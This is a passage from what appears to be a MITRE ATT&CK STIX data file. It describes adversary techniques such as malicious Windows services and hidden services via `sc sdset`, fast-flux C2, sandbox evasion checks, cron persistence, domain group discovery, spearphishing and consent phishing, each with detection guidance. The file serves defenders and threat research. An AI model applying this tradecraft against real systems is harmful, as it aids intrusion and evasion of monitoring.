                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "Crowdstrike DriveSlayer February 2022",
                    "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.",
                    "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:16.076Z",
            "name": "Windows Service",
            "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create \u2018hidden\u2019 services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)",
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                    "phase_name": "persistence"
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
                "Matthew Demaske, Adaptforward",
                "Pedro Harrison",
                "Mayuresh Dani, Qualys",
                "Wietze Beukema, @wietze",
                "Akshat Pradhan, Qualys",
                "Wirapong Petshagun"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.  \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns)  \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow",
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                "Command: Command Execution",
                "File: File Metadata",
                "Windows Registry: Windows Registry Key Creation",
                "Driver: Driver Load",
                "Service: Service Modification",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6",
            "created": "2020-03-11T14:11:16.560Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1568/001",
                    "external_id": "T1568.001"
                },
                {
                    "source_name": "MehtaFastFluxPt1",
                    "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.",
                    "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref"
                },
                {
                    "source_name": "MehtaFastFluxPt2",
                    "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.",
                    "url": "https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref"
                },
                {
                    "source_name": "Fast Flux - Welivesecurity",
                    "description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.",
                    "url": "https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:09.378Z",
            "name": "Fast Flux DNS",
            "description": "Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)\n\nThe simplest, \"single-flux\" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)\n\nIn contrast, the \"double-flux\" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.",
            "kill_chain_phases": [
                {
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                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "In general, detecting usage of fast flux DNS is difficult due to web traffic load balancing that services client requests quickly. In single flux cases only IP addresses change for static domain names. In double flux cases, nothing is static. Defenders such as domain registrars and service providers are likely in the best position for detection.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Connection Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "created": "2020-03-06T20:57:37.959Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1497/001",
                    "external_id": "T1497.001"
                },
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                },
                {
                    "source_name": "McAfee Virtual Jan 2017",
                    "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.",
                    "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:16.253Z",
            "name": "System Checks",
            "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Deloitte Threat Library Team",
                "Kostya Vasilkov"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
            "created": "2019-12-03T14:25:00.538Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/003",
                    "external_id": "T1053.003"
                },
                {
                    "source_name": "CloudSEK ESXiArgs 2023",
                    "description": "Mehardeep Singh Sawhney. (2023, February 9). Analysis of Files Used in ESXiArgs Ransomware Attack Against VMware ESXi Servers. Retrieved March 26, 2025.",
                    "url": "https://www.cloudsek.com/blog/analysis-of-files-used-in-esxiargs-ransomware-attack-against-vmware-esxi-servers"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:16.429Z",
            "name": "Cron",
            "description": "Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). In ESXi environments, cron jobs must be created directly via the crontab file (e.g., `/var/spool/cron/crontabs/root`).(Citation: CloudSEK ESXiArgs 2023)",
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                    "phase_name": "execution"
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc.  \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Process: Process Creation",
                "Scheduled Job: Scheduled Job Creation",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c",
            "created": "2020-02-21T21:15:06.561Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1069/002",
                    "external_id": "T1069.002"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:22:08.417Z",
            "name": "Domain Groups",
            "description": "Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n\nCommands such as <code>net group /domain</code> of the [Net](https://attack.mitre.org/software/S0039) utility,  <code>dscacheutil -q group</code> on macOS, and <code>ldapsearch</code> on Linux can list domain-level groups.",
            "kill_chain_phases": [
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                    "phase_name": "discovery"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Harshal Tupsamudre, Qualys",
                "Miriam Wiesner, @miriamxyra, Microsoft Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "x_mitre_version": "1.2",
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                "Group: Group Enumeration",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2b5aa86b-a0df-4382-848d-30abea443327",
            "created": "2020-10-15T02:59:38.628Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/006",
                    "external_id": "T1588.006"
                },
                {
                    "source_name": "National Vulnerability Database",
                    "description": "National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.",
                    "url": "https://nvd.nist.gov/"
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            "modified": "2025-04-15T23:19:21.267Z",
            "name": "Vulnerabilities",
            "description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).",
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                    "phase_name": "resource-development"
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            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of exploits for vulnerabilities (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "created": "2020-03-02T19:15:44.182Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1566/002",
                    "external_id": "T1566.002"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "CISA IDN ST05-016",
                    "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016"
                },
                {
                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
                },
                {
                    "source_name": "Netskope Device Code Phishing 2021",
                    "description": "Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows (Part 1). Retrieved March 19, 2024.",
                    "url": "https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1"
                },
                {
                    "source_name": "Microsoft OAuth 2.0 Consent Phishing 2021",
                    "description": "Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Mandiant URL Obfuscation 2023",
                    "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
                },
                {
                    "source_name": "Optiv Device Code Phishing 2021",
                    "description": "Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow and Phishing. Retrieved March 19, 2024.",
                    "url": "https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing"
                },
                {
                    "source_name": "SecureWorks Device Code Phishing 2021",
                    "description": "SecureWorks Counter Threat Unit Research Team. (2021, June 3). OAuth\u2019S Device Code Flow Abused in Phishing Attacks. Retrieved March 19, 2024.",
                    "url": "https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks"
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            "modified": "2025-04-15T23:10:41.326Z",
            "name": "Spearphishing Link",
            "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform consent phishing, typically with OAuth 2.0 request URLs that when accepted by the user provide permissions/access for malicious applications, allowing adversaries to  [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro Pawn Storm OAuth 2017) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nAdversaries may also utilize spearphishing links to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured through \u201cconsent phishing\u201d into granting adversaries permissions/access via a malicious OAuth 2.0 request URL .(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \u201cdevice code phishing,\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)",
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                    "phase_name": "initial-access"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Shailesh Tiwary (Indian Army)",
                "Mark Wee",
                "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)",
                "Kobi Haimovich, CardinalOps",
                "Menachem Goldstein"
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            "x_mitre_detection": "URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites as well as links redirecting to adversary infrastructure based by upon suspicious OAuth patterns with unusual TLDs.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021). Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "SaaS",
                "Identity Provider",
                "Office Suite"
            ],
            "x_mitre_version": "2.7",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1165",
                    "external_id": "T1165"
                },
                {
                    "source_name": "Startup Items",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            "modified": "2025-04-25T15:15:18.749Z",
            "name": "Startup Items",
            "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36",
            "created": "2020-01-28T17:11:54.034Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/002",
                    "external_id": "T1070.002"
                },
                {
                    "source_name": "Linux Logs",
                    "description": "Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.",
                    "url": "https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T21:56:45.103Z",
            "name": "Clear Linux or Mac System Logs",
